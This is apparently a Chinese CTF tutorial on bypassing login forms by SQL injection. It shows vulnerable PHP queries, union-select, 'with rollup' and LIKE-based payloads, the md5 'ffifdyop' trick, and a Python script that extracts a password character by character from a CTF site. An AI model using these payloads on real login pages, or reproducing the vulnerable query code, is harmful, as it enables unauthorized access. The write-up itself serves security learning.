登陆界面的SQL注入

登陆界面的SQL注入

首先登陆的sql通常分为两种类型

1
2
3
4
5
6
7
(1)先匹配username(注册时也类似这种方法验重)
$query = mysql_query("SELECT * FROM interest WHERE uname = '{$_POST['uname']}");
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {...

(2)用户名密码同时认证
SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";

第一类型

一般两种想法

  • 注入

    注出username或password

  • 绕过

    控制password

  • 实验吧–因缺思汀的绕过
1
2
3
4
5
6
7
8
9
10
11
12
13
mysql_select_db($db, $con);
$sql="SELECT * FROM interest WHERE uname = '{$_POST['uname']}'";
$query = mysql_query($sql);
if (mysql_num_rows($query) == 1) { //一般>0
$key = mysql_fetch_array($query);
if($key['pwd'] == $_POST['pwd']) {
print "CTF{XXXXXX}";
}else{
print "亦可赛艇!";
}
}else{
print "一颗赛艇!";
}

绕过

控制$query中pwd的返回值

union select

要先知道字段数

1
2
3
4
5
6
mysql> select * from users where username='xxx' union select 1,2,3;
+----+----------+----------+
| id | username | password |
+----+----------+----------+
| 1 | 2 | 3 |
+----+----------+----------+
Payload
1
?uname=xxx' union select 1,1,1#&pwd=1
变形

过滤了逗号

我们假设Boris用户不存在

1
2
3
4
5
6
mysql> select user_id,user,password from users where user='Boris' union select * from((select 1)a join (select 2)b join (select 3)c);
+---------+------+----------+
| user_id | user | password |
+---------+------+----------+
| 1 | 2 | 3 |
+---------+------+----------+

with rollup

使$key[‘pwd’]返回NULL

1
2
3
4
5
6
7
mysql> select user_id,user,password from users where user='admin' group by password with rollup;
+---------+-------+----------------------------------+
| user_id | user | password |
+---------+-------+----------------------------------+
| 1 | admin | 5f4dcc3b5aa765d61d8327deb882cf99 |
| 1 | admin | NULL |
+---------+-------+----------------------------------

那mysql_num_rows($query) == 1这个判断怎办?

​ 用offset 绕过就行

Payload
1
uname=ad' or 1 group by pwd with rollup limit 1 offset 2#&pwd=

注入

登陆报错能区分用户名错误还是密码错误

like/regexp 通配符%

注入admin用户应存在,不然返回empty set

like 和%

1
uname=ad' or pwd like 's%' limit 1#&pwd=ss
exp
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
# -*- coding:utf-8 -*-
import urllib
import requests
import string

def exp(i):
url = "http://ctf5.shiyanbar.com/web/pcat/index.php"
test_data = {'uname':'af\' or pwd like \''+i+'%\' limit 1#', 'pwd':'sad'}
headers = {'Origin': 'http://ctf5.shiyanbar.com', 'Content-Type': 'application/x-www-form-urlencoded'}
res = requests.post(url, data = urllib.parse.urlencode(test_data), headers=headers)
if(res.content.decode('UTF-8') == "亦可赛艇!"):
return True
return False

if __name__ == '__main__':
pwd = ''
for i in range(11):
for x in string.ascii_letters+string.digits+'@':
if(exp(pwd+x)):
pwd = pwd+x
print(pwd)
break
print(pwd)

即可得到密码:sfl23kl123@

然后提交:

1
uname=ad' or pwd like '%' limit 1#&pwd=sfl23kl123@
变形
  • md5($_POST[‘pwd’])

union注入:

1
username=xxx' or 1 union select 1,1,md5(1)#&pwd=1

如基于上述条件且判断为

1
mysql_num_rows($query) >0

输入不存在的用户名,$key[‘pwd’]是NULL
pwd传数组则md5函数返回也是NULL

第二类型

这种情况下过滤了引号在addslashes直接注入一般就没办法了

  • 实验吧–后台登陆
1
2
3
4
5
6
7
8
9
$sql = "SELECT * FROM admin WHERE username = 'admin' and password = '".md5($password,true)."'";

$result=mysqli_query($link,$sql);
if(mysqli_num_rows($result)>0){
echo 'flag is :'.$flag;
}
else{
echo '密码错误!';
}

万能密码

参考文末第二个链接

下面来看一种

username=’=’&password=’=’

1
user where username='''='' and password=''=''

username=’’返回值为0,相当于false,然后0=”的结果为1,相当于true。

example: 实验吧: 万能密码 — not than easy

md5注入

某内容hash后正好,是一些可注入的代码的hex值,下面适量个链接一里提到的

payload: 129581926211651571912466741651878684928

hex: 06da5430449f8f6f23dfc1276f722738

raw: ?T0D??o#??’or’8.N=?


payload: ffifdyop

hex: 276f722736c95d99e921722cf9ed621c

raw: ‘or’6蒥欓!r,b

以ffifdyop为例,它md5后,会成为276f722736c95d99e921722cf9ed621c
mysql自动十六进制转成字符串:’or’6
那整个sql变成

1
username = 'admin' and password = ''or'6<trash>'`

example:JarvisOJ Login